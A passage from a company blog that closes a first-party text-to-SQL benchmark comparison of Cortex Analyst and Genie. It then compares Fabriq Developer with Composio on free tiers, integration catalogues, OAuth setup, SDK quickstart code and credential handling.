accordingly. **Why do the two products look tied on one benchmark and far apart on another?** Because the grading rule and the corpus both matter. On Spider 1.0 both products return the reference facts about as often, and Cortex Analyst's results more often fail the strict row-and-column test. On Spider 2.0 Cortex Analyst refused 27 of 135 questions, and a refusal fails every rule. **What accuracy does Snowflake claim for Cortex Analyst?** "90%+ SQL accuracy on real-world use cases", from a 2024 engineering blog post, measured on an internal 150-question suite that is not public. It is not comparable with any number here. **What accuracy does Databricks claim for Genie?** No product-level accuracy figure that we could find. Databricks reports 73.5 percent on BIRD's single-model, single-generation track for a research model, and says explicitly that BIRD does not capture the full breadth of Genie. **Does Cortex Analyst need a semantic model?** Yes. Semantic views are the documented mechanism, with legacy YAML on a stage supported for backward compatibility. Autopilot can generate a first draft. **How many tables can a Genie Agent cover?** Databricks documents a 50-table limit and advises aiming for five or fewer, with prejoining into views beyond that. The limit was 30 when we ran this benchmark. **Do declared primary and foreign keys matter?** Enough to change a score. Genie saves schema PK and FK definitions as join relationships automatically, and Cortex Analyst reasons about joins from relationships declared in the semantic view. We replayed keys from benchmark metadata onto both platforms, and 24 of Cortex Analyst's 27 Spider 2.0 refusals still traced to missing join metadata. **Can I reproduce these numbers?** The grader and tracker are at [github.com/agenticfabriq/beacon](https://github.com/agenticfabriq/beacon), mnemiq is at [github.com/agenticfabriq/mnemiq](https://github.com/agenticfabriq/mnemiq), and the per-question results are published with the comparison. The vendor runs depend on account access and on model selection we cannot pin, so expect to reproduce the method rather than the exact cells. ## Conclusion {#conclusion} If you want one sentence: on our measurement Genie is ahead of Cortex Analyst, by 0.4 points on the easiest corpus under the looser rule and by 9.9 or 21.3 points on the hardest, depending on which rule you pick. That is two findings, not one, and quoting only the second is how vendor benchmarks get written. The mechanics are more durable than the ranking. Cortex Analyst wants an authored semantic view with relationships declared in it. Genie reads Unity Catalog, picks up your declared keys as join relationships, and asks you to annotate within a hundred instructions and two hundred knowledge snippets. Whichever you pick, the work is the same work, and it is the part that decides your accuracy rather than the model underneath. So treat this page as a method you can borrow and a set of numbers you should verify. The scores came from a grader we wrote, on corpora that are not your data, against vendor systems whose models we cannot pin, run by the company that makes the third system in the table. Every one of those is a reason to go measure on your own warehouse. > **Where we would start:** one slice of your schema, thirty questions people actually ask, two configurations, > two runs each, and separate counts for right, wrong and refused. That is a week of work and it beats every > leaderboard here, including ours. ## Sources {#sources} All URLs read 2026-10-12. - [Cortex Analyst, Snowflake Documentation](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-analyst) — semantic views and why they exist, predefined join paths, the model preference order, "You cannot choose a model directly", multi-turn limitations, and the recommendation to transition to Cortex Agents. - [Overview of semantic views, Snowflake Documentation](https://docs.snowflake.com/en/user-guide/views-semantic/overview) — logical tables, facts, dimensions, metrics, relationships, and the authoring paths including Autopilot, SQL DDL and YAML or BI-file import. - [Cortex Analyst evaluations, Snowflake Documentation](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-analyst-evaluations) — verified queries as ground truth, judges running on Cortex LLM inference, the v1/v2/v3 SQL correctness metric, and the temporary removal of evaluation queries from the semantic view. - [Snowflake Cortex Analyst: Evaluating Text-to-SQL Accuracy for Real-World BI](https://www.snowflake.com/en/blog/engineering/cortex-analyst-text-to-sql-accuracy-bi/) — the 90%+ claim, the internal 150-question suite, the GPT-4o comparison and the 51% figure. Dated 29 August 2024. - [Genie Agents, Databricks Documentation](https://docs.databricks.com/genie-agents/) — what a Genie Agent is, the rename from Genie Spaces, and what gets configured in one. - [Tune Genie Agent quality, Databricks Documentation](https://docs.databricks.com/aws/en/genie-agents/tune-quality) — general instructions, parameterized example queries, trusted assets and verified answers, the 100-instruction and 200-snippet limits, and automatic saving of schema PK/FK as join relationships. - [Curate an effective Genie Agent, Databricks Documentation](https://docs.databricks.com/aws/en/genie-agents/best-practices) — "Aim for five or fewer tables", the 50-table limit, and prejoining into views or metric views. - [Building Confidence in Your Genie Space with Benchmarks and Ask for Review](https://www.databricks.com/blog/building-confidence-your-genie-space-benchmarks-and-ask-review) — Databricks' own benchmark feature marks an answer Correct only when the query result exactly matches the reference result. - [The Power of RLVR: Training a Leading SQL Reasoning Model on Databricks](https://www.databricks.com/blog/power-rlvr-training-leading-sql-reasoning-model-databricks) — 73.5% on BIRD's single-model, single-generation private test track, the Qwen 2.5 32B Coder Instruct base, and the caveat that BIRD does not capture the breadth of Genie. Dated 30 July 2025. - [BIRD-SQL benchmark](https://bird-bench.github.io/) — 12,751 question-SQL pairs, 95 databases, 33.4 GB, 37 domains, the 500-example mini-dev set, execution accuracy, and 92.96% human performance on the dev set. - [Spider 1.0, Yale LILY](https://yale-lily.github.io/spider) — 10,181 questions over 200 databases, exact set match without values and execution accuracy, and the February 2024 notice that submissions and leaderboard updates have stopped. - [Spider 2.0](https://spider2-sql.github.io/) — 632 enterprise-derived text-to-SQL workflow problems, the lite and snow variants, and databases running past a thousand columns. - [mnemiq benchmark results and methodology, Agentic Fabriq](/mnemiq) — the source of Table 2, the stability figures, the 27 Spider 2.0 refusals and their causes, the foreign-key replay, the Unity Catalog relationship gaps and the 30-table workaround. First-party. - [mnemiq launch article, Agentic Fabriq](/blog/mnemiq/launch) — ours, first-party, published 3 September 2026. The original publication of these runs, and the source for the configuration table: tier 2 enrichment with GPT-5.5, the ~2.3 model calls per question with repair enabled against one API call per vendor, the exact-match tightening and full re-grading that cost 1.4–5.7 points, the two independent got-the-facts implementations agreeing on 414 of 414 constructed examples, Spider 2.0 having no standard exact-match rule, the varying graded denominator with published case IDs, and beacon v7 as the grader of record. - [beacon, the grader and tracker](https://github.com/agenticfabriq/beacon) — the grading rules behind both metrics, at v7 for the published numbers. - [mnemiq](https://github.com/agenticfabriq/mnemiq) — the engine in the top row: a model proposes SQL, deterministic checks on shape, access, dialect and query plan decide whether it runs. - [Text-to-SQL evaluation taxonomy](https://agenticfabriq.github.io/text-to-sql-evaluation-taxonomy/) — the eight dimensions, including grading rule, answer shape, refusal and stability. Ours, vendor-neutral. ================================================================================ ## Fabriq Developer vs Composio: Free Tiers, Catalogues and Time to First Tool Call URL: https://www.agenticfabriq.com/blog/fabriq-developer-vs-composio Published: 2026-10-12 Author: Paulina Xu Summary: Free tiers, catalogue counts, who owns the OAuth app, and the setup before your first authenticated tool call. First-party, checked 29 October 2026. ```tldr **Both are free to start, and the number that decides your afternoon is not the free call allowance.** It's whether you have to register your own OAuth client before anything works for a real user. Composio's Hobby plan is $0 with no credit card and includes 100,000 tool calls a month, 50,000 triggers and unlimited connected accounts. Fabriq Developer's Free plan is $0 forever with 20,000 calls a month. Composio wins that line five to one. Then read Composio's own auth documentation, which splits the setup two ways: "Development/Testing: Use Composio's managed authentication (no setup required)" and "Production: Generate your own OAuth credentials from the toolkit's developer portal." That second line is the Google Cloud console, a consent screen and a verification queue, and it is not on the pricing page. Our answer is narrower than "we handle OAuth". Agentic Fabriq's shared provider apps are a paid-plan feature: on Free, your users connect through your own OAuth app, and Gmail and full Google Drive use your own Google app on *every* plan because Google treats those scopes as restricted. What you avoid on a paid plan is a provider project for Calendar, Sheets, Docs, Slack, Notion and most of the rest, after one attestation. The other number to know is the shape of our catalogue: 511 providers, of which 125 have a live OAuth sign-in, 12 are building one, and 374 have no OAuth at all and connect by credential instead. The external-user OAuth flow drives thirteen provider values end to end today; everything else goes through a credentials page we host, which your user, not you, fills in. So: evaluate on the provider you actually need, not the catalogue total. Open both docs pages for that one provider and see which flow it has. ``` > **Published by Agentic Fabriq.** This is a first-party comparison: we make one of the two products on it, > so read it as our argument rather than an independent test. We score neither product and we call nothing > here independent. **Comparison checked: 29 October 2026.** Every Composio claim below links to Composio's > own current pricing page or documentation, with the date we read it; where a figure is not published on a > primary source we say so instead of estimating. Fabriq figures come from our own > [pricing page](https://www.agenticfabriq.com/pricing), the [Fabriq Developer page](/developers), the > [Developer Quickstart](/docs/dev-quickstart), and the generated provider catalogue in our codebase. ## Overview {#overview} This page is for a specific Friday afternoon. You have a seed-stage product, an agent that needs to touch four or five of your users' SaaS accounts, and a couple of hours before you want a real API response in a terminal. You want to know what $0 buys, whether your provider is in the box, and how much paperwork sits between you and the first successful call. Two of our other comparison pages argue the enterprise case instead: [10 Best AI Agent Integration Platforms](/blog/best-ai-agent-integration-platforms) and [Composio alternatives](/blog/composio-alternatives) both rank on agent identity, per-user authority and audit. Useful if you're answering the security review. Not useful on a Friday, so none of it is repeated here. Everything about Composio below comes from its pricing page and docs, re-read on 2026-10-29 and quoted. Everything about Fabriq Developer comes from our own pricing page, our [Developer Quickstart](/docs/dev-quickstart) and the generated catalogue in our codebase. Where we don't publish a figure, we say so rather than estimate. > **The honest framing:** Composio is a bigger catalogue with a sharper production cliff. We're a smaller > catalogue with the cliff moved to the start, where you can see it. Which trade you want depends on which > providers you need and when you ship. ## The Free Tiers, Line by Line {#free-tier} Composio's Hobby plan costs $0 with "no credit card required" and includes 100,000 tool calls a month, 50,000 triggers, three team members, "Connect unlimited accounts" and the whole toolkit catalogue. At a cap, usage pauses rather than billing you. That detail matters more than it looks: a free tier that silently becomes a card charge is a different product from one that stops. Pro is $29 a month with a $29 monthly usage credit that does not roll over. Past the credit, tool calls are $0.0003 each, trigger events $0.003 each, and LLM tokens $3.75 per million past the first million. Then there are per-execution-mode surcharges, which we think is the genuinely unusual part of the price list: direct execution adds $0.0001 a call, proxy execute $0.0002, sandbox execution $0.0001, a shared connection $0.0003. The same logical tool call can cost different amounts depending on how you ran it. Fabriq Developer's Free plan is $0 "forever" with 20,000 calls a month, unlimited agents, per-agent tool permissions, request logs and live sessions, and the Python SDK, `afctl` CLI and MCP endpoint. Launch is $50 for 200,000 calls, Growth $300 for 2,000,000. That works out at $2.50 and $1.50 per 10,000 included calls respectively, and if you run past the pool, add-on calls are $2 per 10,000 on either paid plan. | | Composio Hobby | Fabriq Developer Free | |---|---|---| | Price | $0, no credit card | $0, forever | | Tool calls included | 100,000 / month | 20,000 / month | | Triggers included | 50,000 / month | not on Free; Triggers start on Launch | | Seats | 3 team members | not published per plan | | Connected end users | "Connect unlimited accounts" | not published per plan | | At the cap | usage pauses | not published | Two things fall out of that. Composio's free call allowance is five times ours, and if your prototype is a loop hammering one tool, that's the only line you care about. And our free tier has no triggers, so a webhook-driven agent on Fabriq Developer starts at $50 rather than $0. We'd rather write that down than have you find it. Run the rates out and the ordering flips above the free tier. Composio Pro past its credit is $0.0003 a call, or $3.00 per 10,000, against $2.50 per 10,000 included on Fabriq Launch, $1.50 on Growth and $2 for add-on calls, before Composio's execution-mode surcharges. None of that matters at prototype volume. It starts mattering around the first real customer. ## Counting Catalogues, Which Nobody Does the Same Way {#catalogue} Composio publishes three different catalogue numbers on three of its own pages, and we read that as the unit being genuinely ambiguous rather than as anyone being dishonest. The pricing page lists "1500+ toolkits". The toolkits directory paginates "Showing 1–30 of 1540" and the site describes "20,000+ tools via MCP or direct APIs". The homepage says "1,500+ apps" and the quickstart says "1000+ apps". A toolkit is an application; a tool is one callable action inside it. Twenty thousand tools across roughly fifteen hundred toolkits is about thirteen actions per application, a fair average for a well-covered SaaS API. (The directory read 1,214 when we first wrote this page on 2026-10-12 and 1,540 on 2026-10-29, which is the best argument we can make for checking a catalogue number yourself rather than quoting ours.) Our catalogue is 511 providers and 62,678 catalogued actions, counted from a generated file in our codebase rather than a marketing page. It splits three ways by whether a user can sign in at the provider at all: | Connect path | Providers | What your user does | |---|---|---| | Live OAuth sign-in | 125 | Gets redirected, approves at the provider, comes back | | OAuth in progress | 12 | Not yet; today the credential route is the only one | | Credential only | 374 | No OAuth flow at all; supplies a credential instead | Of the 125 with a live OAuth sign-in, 87 can run on Agentic Fabriq's own provider app and 116 accept an OAuth app you register yourself; most support both. Three quarters of the catalogue has no OAuth at all, and that is the honest shape of it. What those 374 are *not*, on the developer path, is an admin step. Our developer documentation is explicit that there is no admin-entered credential path for external users: every credential, an OAuth grant or a pasted key, is supplied by your user on a page Agentic Fabriq hosts. 448 of the 511 providers reach that page — 444 where your user pastes a credential, and 4 (WhatsApp, Instagram, LinkedIn, Telegram) where they complete the provider's own sign-in, a QR scan or a pairing code, with no credential to paste. The ticket lives in the URL fragment, is single-use, expires in five minutes, allows three attempts, and the credential is probed against the provider before it is stored. An earlier version of this page said that hosted page supported Notion only; that was true when we wrote it and is not true now, and the correction runs in our favour. A narrower limit does still sit on top, and it is the one to plan around. The external-user *OAuth* flow accepts thirteen provider values today: `gmail`, `google_drive`, `google_docs`, `google_sheets`, `google_slides`, `google_calendar`, `google_meet`, `google_forms`, `google_contacts`, `google_chat`, `slack`, `github` and `notion`. Anything else returns `400 Unsupported OAuth provider`. > **The test that beats both catalogue numbers:** write down the four providers your product needs this > quarter and look each up in Composio's toolkit directory and in ours, checking the connect flow for that > specific provider. A total of 511 or 1,540 tells you nothing about whether your fourth provider is the one > that isn't there. ## Time to First Successful Call {#first-call} Composio's quickstart installs a core package plus a framework adapter. For the Claude Agent SDK path that is `uv add python-dotenv composio composio-claude-agent-sdk claude-agent-sdk`, or `npm install dotenv @composio/core @composio/claude-agent-sdk @anthropic-ai/claude-agent-sdk`. You put `COMPOSIO_API_KEY` in a `.env`, create a session with `composio.sessions.create(user_id="user_123")`, and call `session.tools()`. The session is the interesting design choice. Composio's docs define it as "the runtime context for an agentic run: the scoped environment an AI agent works in while it acts for one of your users," handing the agent "meta tools to discover, authenticate, and execute app tools at runtime, instead of loading hundreds of tool definitions into context." Authorization then happens mid-conversation: when a tool needs a connection, "the session generates a Connect Link with `session.authorize()`", or the agent drives the flow through `COMPOSIO_MANAGE_CONNECTIONS`. So your first successful call can be very fast, because the quickstart deliberately starts with a tool that needs no authorization. The clock you care about is time to first *authenticated* call, and that one runs through the Connect Link and, for production, through the next section. Ours looks like this: ```bash pip install agentic-fabriq-sdk # Python, imports as af_sdk npm install @agenticfabriq/sdk # TypeScript ``` ```python from af_sdk import AgenticFabriq af = AgenticFabriq() # reads AF_APP_ID / AF_APP_SECRET # inside your request handler url = await af.initiate_connection(request, provider="gmail") return redirect(url) ``` ```python async with await af.for_user(request) as session: tools = await session.get_tools() result = await session.call_tool("google_gmail_list_messages", {"max_results": 5}) ``` You register an agent in the console, which gives you an app ID and a one-time app secret. Those become `AF_APP_ID` and `AF_APP_SECRET`. Then two calls. The argument you pass is the request, not a user id, because identity is read from the session your own auth already established. We like that for a boring reason: there's no user-id parameter for an agent to get wrong, and no code path where a loop iterates over the wrong variable and sends somebody else's mail. ```mermaid flowchart TD subgraph CMP["Composio"] C1["uv add composio + adapter"] --> C2["COMPOSIO_API_KEY"] C2 --> C3["sessions.create(user_id)"] C3 --> C4["session.tools()"] C4 --> C5["no-auth tool call works"] C5 --> C6["Connect Link for a real account"] C6 --> C7["own OAuth client for production"] end subgraph FAB["Fabriq Developer"] F1["pip install agentic-fabriq-sdk"] --> F2["AF_APP_ID / AF_APP_SECRET"] F2 --> F3["initiate_connection(request, provider)"] F3 --> F4["user approves at provider"] F4 --> F5["for_user(request)"] F5 --> F6["session.call_tool(...)"] F3 --> F7["hosted credentials page if<br/>provider has no OAuth"] end ``` **Figure 1 — The two setup paths. Composio's cliff is at the end, when you move to production. Ours is at the start, when you find out whether your provider is one of the thirteen on the end-user OAuth path.** Tokens on our side are short-lived: 900 seconds by default, hard ceiling of one hour, and the Python client re-mints 60 seconds before expiry, so calling `for_user` per request is the intended pattern rather than waste. If you're driving a model instead of calling tools yourself, the session converts the same list with `to_openai_tools()`, `to_anthropic_tools()` or `to_langchain_tools()`. The TypeScript SDK deliberately does not wrap an MCP client; it gives you a token and an MCP URL for the client you already have. ## Do You Have to Register Your Own OAuth Client? {#oauth-client} This is the question that decides whether you ship this week, and both of us bury it in docs rather than put it on a pricing page. Composio's answer is a clean split. Its authentication docs tell you to create an Auth Config, a blueprint holding the method, scopes and credentials for a toolkit, then give two paths: "Development/Testing: Use Composio's managed authentication (no setup required)" and "Production: Generate your own OAuth credentials from the toolkit's developer portal." The same page flags that the older Composio-managed route is being retired, warning that `initiate()` "will start returning `400 BadRequest` on **2026-05-08** for new organizations" and pointing you at `connected_accounts.link()` instead. Read that as a timeline, not a footnote. A frictionless demo on Composio's OAuth app, then a real project per provider before real users touch it. For Google that's a Cloud project, a consent screen, scope justifications and, for restricted scopes, a verification review not measured in days. Our answer has a plan boundary in it, and we would rather you read it here than find it on the pricing page. Agentic Fabriq's shared provider apps (our client, our verification, our consent screen) are a paid-plan feature. On Free, your users connect through an OAuth app you register. On Launch or Growth you get our shared apps for non-restricted scopes after a one-time attestation, which covers Calendar, Sheets, Docs, Slack, Notion and most of the catalogue. Gmail and full Google Drive are restricted scopes under Google's policy and always go through your own Google app, on every plan. So if Gmail is the integration your product is built on, you file for Google verification either way, and we should not be sold to you on the basis that you don't. What we do remove on a paid plan is the per-provider project for everything that isn't a restricted scope. Registering an agent is one form and a one-time secret. We broker the consent screen, and the authorization code is exchanged server-side before anything reaches the vault. The other cost is reach: thirteen providers on the end-user OAuth path, and the rest through the hosted credentials page described above. | | Composio | Fabriq Developer | |---|---|---| | Demo without your own OAuth app | Yes, managed auth for development | Yes, on a paid plan; Free is bring-your-own | | Production without your own OAuth app | No, per the docs | Yes for non-restricted scopes on a paid plan | | Gmail / full Google Drive | Your own client for production | Your own Google app on every plan | | Consent screen branding | Yours, once you bring a client | Ours, on our shared apps | | Setup unit | Auth Config per toolkit | One agent registration, plus one attestation | | The catch | Own credentials before production | 13 providers on the end-user OAuth path | > **If you check one thing before committing:** pick your hardest provider, the one with restricted scopes, > and work out who stands between you and that provider's review queue. On Composio in production, you do. > With us, we do, where we have a redirect. ## Who Holds the Token When the Call Goes Out {#credentials} Neither of us hands your agent the user's secret, which is worth saying before the differences, because it's the part most teams get wrong building this themselves. Composio executes through its own layer. The docs describe proxying: "You can proxy requests to any supported toolkit API and let Composio inject the authentication state," with the auth context coming from the connected account rather than your process. Custom tools inherit auth the same way through `ctx.proxy_execute()`, and the docs we read describe no API for retrieving a connected account's raw credential. Ours is the same at the boundary and differs in what the agent is handed. `for_user` mints a short-lived, user-scoped token and returns a session whose identity is already baked in, so no method on it takes a user id. The credential lives in a vault at a path derived from the organization, agent, external user, tool and connection id, never in a database column and never in a response body. The agent gets a session, never the secret. ```mermaid sequenceDiagram participant B as Your backend participant G as Fabriq gateway participant V as Vault participant P as Provider API B->>G: call_tool, user-scoped bearer token G->>G: user's scopes INTERSECT agent's scopes G->>V: fetch credential by reference V-->>G: access token, refreshed if needed G->>P: authorized request P-->>G: response G-->>B: result only, no credential ``` Fabriq gateway gateway computes: user's scopes INTERSECT agent's scopes gateway --fetch by reference--> Vault --access token--> gateway gateway --authorized request--> Provider API --response--> gateway gateway --result only--> your backend. The credential never leaves the gateway. --> **Figure 2 — The credential is attached server-side. The effective tool list is the intersection of the user's scopes and the agent's, so a broadly scoped agent acting for a narrowly scoped user gets the narrow set.** That intersection is the piece we'd defend hardest, and the piece a prototype doesn't notice. An agent declares the scopes it may ever ask for when you register it; a user grants what they grant; the effective tool list is the overlap. So the same agent acting for two users sees two different tool lists. Every token also records an `auth_level`: `app_asserted` by default, `app_signed` if you sign a 60-second EdDSA assertion with a private key we never hold, or `user_present` if a human just completed a connection and we witnessed it. What we don't do is revoke at the provider when you disconnect. Disconnecting clears the grant we store. If you need the token dead at Google, call Google's revocation endpoint yourself. ## Side by Side, Eight Dimensions {#side-by-side} One table, eight dimensions, every Composio cell sourced to a Composio page we read on **2026-10-29**. Where a figure is not published on a primary source, the cell says so rather than carrying a guess, and no row here is scored. | Dimension | Composio | Fabriq Developer | Composio source, read 2026-10-29 | |---|---|---|---| | Provider coverage | "1500+ toolkits" on the pricing page; the directory paginates "1–30 of 1540"; "20,000+ tools via MCP or direct APIs"; the homepage says "1,500+ apps" | 511 providers, 62,678 catalogued actions; 125 with a live OAuth sign-in, 12 in progress, 374 credential-only | [pricing](https://composio.dev/pricing), [toolkits](https://composio.dev/toolkits), [composio.dev](https://composio.dev/) | | User-connection model | A session is "the runtime context for an agentic run"; you create it with a `user_id` your app chooses, and `session.authorize()` returns a Connect Link the user opens | `initiate_connection(request, provider)`; identity is read from your framework's session, so no method takes a user id. 13 providers on the end-user OAuth path, 448 through an Agentic Fabriq-hosted credentials page | [how Composio works](https://docs.composio.dev/docs/how-composio-works) | | Who owns the OAuth app | "**Development/Testing**: Use Composio's managed authentication (no setup required)" and "**Production**: Generate your own OAuth credentials from the toolkit's developer portal" | Agentic Fabriq's shared apps on a paid plan for non-restricted scopes after a one-time attestation; your own app on Free; Gmail and full Google Drive always your own Google app | [authenticating tools](https://docs.composio.dev/docs/authenticating-tools) | | Credential handling | SOC 2 Type II; the proxy "inject[s] the authentication state" from the connected account, and custom tools inherit auth through `ctx.proxy_execute()`. No API for reading a connected account's raw credential on the pages we read | Vault-held at a path derived from org, agent, external user, tool and connection id; attached server-side at call time. The agent gets a session, never the secret, and there is no raw-token path in the external-user flow | [executing tools](https://docs.composio.dev/docs/executing-tools), [custom tools](https://docs.composio.dev/docs/custom-tools), [composio.dev](https://composio.dev/) | | SDK / framework support | `composio` plus a framework adapter; the quickstart names OpenAI Agents, the Claude Agent SDK and the Vercel AI SDK, and the catalogue is reachable from "any AI tool that supports connecting to MCP servers" | Python `agentic-fabriq-sdk` and TypeScript `@agenticfabriq/sdk`, one MCP endpoint, and `to_openai_tools()` / `to_anthropic_tools()` / `to_langchain_tools()` on the session | [quickstart](https://docs.composio.dev/docs/quickstart), [composio.dev](https://composio.dev/) | | Audit access | "Every action is recorded, so you can see exactly what your AI did." Per-plan retention or export terms are not published on the pricing page we read | Request logs and live sessions on the Free plan; each call records the agent, the acting user, the tool and the outcome, denials included | [composio.dev](https://composio.dev/), [pricing](https://composio.dev/pricing) | | Pricing unit | Three meters (tool call, trigger event, sandbox LLM token) plus a per-execution-mode surcharge: $0.0001 direct, $0.0002 proxy execute, $0.0001 sandbox, $0.0003 shared connection | One meter: an API call is any request your agent makes through Fabriq, including authenticating and retrieving credentials, and the duration of a call does not change its cost | [pricing](https://composio.dev/pricing) | | Self-hosting | No self-hosted, VPC or air-gapped option is published on the pricing page or homepage we read. Ask Composio rather than taking this row as a no | Helm install into your own Kubernetes cluster on AWS or GCP on a custom plan; every other plan runs on our managed cloud | [pricing](https://composio.dev/pricing) | Two rows are worth more than the rest if you are deciding this week. The pricing-unit row, because an agent that makes many short calls meets Composio's surcharge structure differently from a batch job. And the who-owns-the-OAuth-app row, because that is the one that has a calendar attached to it. ## Where Composio Is the Better Pick {#pick-composio} A comparison page that concedes nothing isn't a comparison. Four cases where we'd tell you to use Composio. **Your provider list has a long tail.** Fifteen hundred toolkits against our 511 providers isn't a close call, and the gap is widest exactly where prototypes go: niche vertical SaaS, a regional payment processor, the analytics tool three people on your team use. If two of your four providers aren't in our catalogue, nothing else here matters. **You're burning calls in a loop.** 100,000 free tool calls a month against our 20,000 is five times the headroom, and a retry loop can eat 20,000 in an afternoon. **You need triggers on day one.** Composio's free tier includes 50,000 trigger events a month. Ours start on the $50 Launch plan. If the whole product is a webhook waking an agent, that's $50 a month at zero revenue. **You want the agent to drive its own connections.** The meta-tool pattern, where the agent discovers, authenticates and executes at runtime and hands the user a Connect Link mid-conversation, is a nice shape for a chat product. Ours puts the connect step in your application's flow: tidier with an onboarding screen, worse for a single chat box. ## Which to Choose {#choose} **Choose Fabriq Developer when** your users are strangers who will never create an account with us and identity has to come from the session your own auth already established rather than a `user_id` string your code passes; when the providers you need sit in the Calendar, Sheets, Docs, Slack, Notion or GitHub neighbourhood; when you want the credential to stay out of the agent's process by default rather than by discipline; when one flat per-request meter is easier to forecast than three meters plus an execution-mode surcharge; or when you want per-user scope intersection and a per-call audit record on a free plan. [Fabriq Developer](/developers) and the [Developer Quickstart](/docs/dev-quickstart) are the two pages to read next, in that order. **Consider Composio when** your provider list runs into the long tail — this is its real and substantial advantage, and roughly three times our catalogue is not a gap we can argue away. Also when 100,000 free tool calls a month matters more than anything else on this page, when you need trigger events before you are paying anyone, or when you want the agent itself to discover, authorize and execute at runtime and hand the user a Connect Link mid-conversation. That meta-tool shape is a genuinely better fit for a single chat box than ours, which expects the connect step to live in your application's onboarding flow. If you do want the enterprise argument, the [agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) sets out the nine dimensions, credential model and enforcement point among them, that a security review eventually asks about. ## Frequently Asked Questions {#faq} **Is Composio free?** Yes. Hobby is $0 with no credit card: 100,000 tool calls and 50,000 triggers a month, three team members, unlimited connected accounts. Usage pauses at the cap. Pro is $29 a month with a $29 usage credit included. **Is Fabriq Developer free?** Yes. The Free plan is $0 forever with 20,000 calls a month, unlimited agents, per-agent tool permissions, request logs and live sessions, and the SDK, CLI and MCP endpoint. Triggers start on the $50 Launch plan. **How many integrations does Composio have?** Depends which page you read. On 2026-10-29 the pricing page said "1500+ toolkits", the directory paginated "1–30 of 1540", the homepage said "1,500+ apps" and the quickstart said "1000+ apps". All four count applications. The action count it advertises is "20,000+ tools". **How many integrations does Fabriq Developer have?** 511 providers and 62,678 catalogued actions, from the generated catalogue in our codebase on 2026-10-29. Of those, 125 have a live OAuth sign-in, 12 have one in progress, and 374 have no OAuth flow and connect by credential instead. The end-user OAuth flow accepts thirteen provider values today; 448 providers reach the Agentic Fabriq-hosted credentials page your user fills in. **Do I need my own OAuth app to use Composio?** Not for development. Its docs say to use managed authentication for development and testing, and to "Generate your own OAuth credentials from the toolkit's developer portal" for production. So yes for production, per provider. **Do I need my own OAuth app to use Fabriq Developer?** It depends on the plan and the scope. On the Free plan, yes: your users connect through your own OAuth app. On Launch or Growth, our shared provider apps cover non-restricted scopes after a one-time attestation. Gmail and full Google Drive are restricted scopes under Google's policy and use your own Google app on every plan. **Which is cheaper, Composio or Fabriq Developer?** Below the free caps, Composio, by five times on included calls. Above them, past Composio's Pro credit a tool call is $0.0003, or $3.00 per 10,000, against $2.50 per 10,000 included on Fabriq Launch, $1.50 on Growth and $2 per 10,000 for add-on calls, before Composio's execution-mode surcharges. The units aren't identical, though: a Fabriq call includes authenticating and retrieving credentials, not only the tool call. **Does Composio store my users' access tokens?** Yes, and it attaches them server-side. Its docs describe proxying requests and letting Composio "inject the authentication state", and we found no documented API for reading a connected account's raw credential back out. **Does my end user need an account with the integration platform?** Not with us. Fabriq Developer is for products whose agents act on your users' own accounts without those users ever creating a Fabriq account. Composio's connected-account docs describe your application owning the `user_id` and don't state that end users need a Composio account, so confirm that with them. **What's the fastest honest path to a first authenticated tool call?** Pick a provider with an OAuth redirect on both sides, Gmail or Slack. On Composio, create the session, let the Connect Link authorize your own account, and accept that production needs your own client later. On ours, register the agent, `initiate_connection(request, provider="gmail")`, approve, then `for_user(request)`. ## Conclusion {#conclusion} The two free tiers are close enough that the price list isn't the decision. Composio gives you five times the calls and triggers you'd otherwise pay $50 for. We give you OAuth clients that survive the move to production and per-user scoping on the free plan. Both are real, and neither is what costs you the afternoon. What costs you the afternoon is a provider. Composio's cliff is at the end: a fast demo, then an OAuth project and possibly a verification queue per provider before real users. Ours is in two places you can see from the start — thirteen providers on the end-user OAuth path, and a paid plan before you can use our shared provider apps at all. Both are findable in twenty minutes of docs, which beats finding out in week three. So do the twenty minutes. Write down your four providers, look each up on both sides, and let the fourth one settle it. Catalogue totals are marketing arithmetic, and ours is no more useful than theirs. > **The question we'd actually ask a vendor:** not how many integrations you have, but what I have to > register myself before a real customer can connect the fourth one. Everything else on a pricing page is > downstream of that answer. ## Sources {#sources} Composio URLs re-read **2026-10-29**; where a figure changed since this page was first published on 2026-10-12, both readings are given above. Fabriq figures are from our own published pricing page, our developer documentation and the generated provider catalogue in our codebase, and are labelled as ours. - [Composio pricing](https://composio.dev/pricing) — Hobby at $0 with no credit card, 100,000 tool calls and 50,000 triggers a month, 3 team members, "Connect unlimited accounts", hard-capped with "usage pauses until the next month or until you upgrade"; Pro at $29 with a $29 non-rolling credit; $0.0003 per tool call, $0.003 per trigger event, $3.75/M sandbox LLM tokens; execution-mode surcharges of $0.0001 direct, $0.0002 proxy execute, $0.0001 sandbox, $0.0003 shared connection; "1500+ toolkits"; no self-hosting, VPC or audit-retention terms published (checked 2026-10-29) - [Composio homepage](https://composio.dev/) — "1,500+ apps", SOC 2 Type II, "Every action is recorded, so you can see exactly what your AI did", and MCP reachability from any MCP-capable client (checked 2026-10-29) - [Composio toolkits directory](https://composio.dev/toolkits) — "1–30 of 1540" toolkits and "20,000+ tools via MCP or direct APIs", and the toolkit-versus-tool distinction (checked 2026-10-29; read 1,214 on 2026-10-12) - [Composio quickstart](https://docs.composio.dev/docs/quickstart) — install lines for the Python and TypeScript paths, `COMPOSIO_API_KEY`, `composio.sessions.create(user_id=...)`, the OpenAI Agents / Claude Agent SDK / Vercel AI SDK adapters, and the "1000+ apps" figure (checked 2026-10-29) - [How Composio works](https://docs.composio.dev/docs/how-composio-works) — the session definition, `composio.sessions.create(user_id=...)`, meta tools instead of loading hundreds of definitions, and `session.authorize()` generating a Connect Link. - [Authenticating tools, Composio](https://docs.composio.dev/docs/authenticating-tools) — an Auth Config as "a blueprint that defines how authentication works for a toolkit across all your users", managed authentication for development/testing versus "Generate your own OAuth credentials from the toolkit's developer portal" for production, and the `initiate()` deprecation returning `400 BadRequest` from 2026-05-08 for Composio-managed auth configs (checked 2026-10-29) - [Executing tools, Composio](https://docs.composio.dev/docs/executing-tools) — direct execution, proxy execute injecting authentication state, pinned toolkit versions, and framework handling of the execution loop. - [Connected accounts, Composio](https://docs.composio.dev/docs/connected-accounts) — the `user_id` model, ACTIVE / INACTIVE / REVOKED states, and the note that this page is legacy in favour of sessions. - [Custom tools, Composio](https://docs.composio.dev/docs/custom-tools) — `ctx.proxy_execute()` inheriting auth, with no documented path to the raw credential. - [Agentic Fabriq 